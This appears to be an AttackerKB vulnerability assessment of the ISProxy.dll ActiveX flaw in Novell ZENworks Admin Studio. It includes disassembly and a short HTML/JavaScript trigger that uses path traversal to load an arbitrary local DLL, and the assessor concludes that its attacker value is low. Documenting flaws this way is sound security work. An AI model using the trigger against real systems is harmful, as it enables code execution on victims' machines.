Novell ZENworks Admin Studio ISProxy Vulnerability

2013-03-2900:00:00

attackerkb.com

0.023 Low

EPSS

Percentile

89.8%

JSON

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell ZENworks Admin Studio. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

Recent assessments:

wchen-r7 at September 12, 2019 6:07pm UTC reported:

The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.

(1) Legit Code Samples

var file = new ActiveXObject("ISProxy.Proxy");
file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}");

var objMgr = new ActiveXObject("ISProxy.Proxy");
objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");

Vulnerable code

Form ISProxy.dll

.text:63371561                 push    eax             ; lpPathName =&gt; C:\Documents and Settings\system
.text:63371562                 call    esi ; SetCurrentDirectoryA
.text:63371564                 lea     ecx, [ebp+var_38]
.text:63371567                 mov     byte ptr [ebp+var_4], 2
.text:6337156B                 call    sub_6337186D
.text:63371570                 lea     ecx, [ebp+var_68]
.text:63371573                 call    sub_63372927
.text:63371578                 push    eax             ; lpLibFileName =&gt; Controlled from the second arg
.text:63371579                 call    ds:LoadLibraryA
.text:6337157F                 mov     edi, eax
.text:63371581                 lea     eax, [ebp+PathName]
.text:63371587                 push    eax             ; lpPathName
.text:63371588                 call    esi ; SetCurrentDirectoryA

Trigger

The next HTML will try to load c:\test.dll

&lt;html&gt;
&lt;object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'&gt;&lt;/object&gt;
&lt;script language='javascript'&gt;
test.Initialize(document);
test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283");
&lt;/script&gt;
&lt;/html&gt;

So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.

So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.

Assessed Attacker Value: 0
Assessed Attacker Value: 0Assessed Attacker Value: 0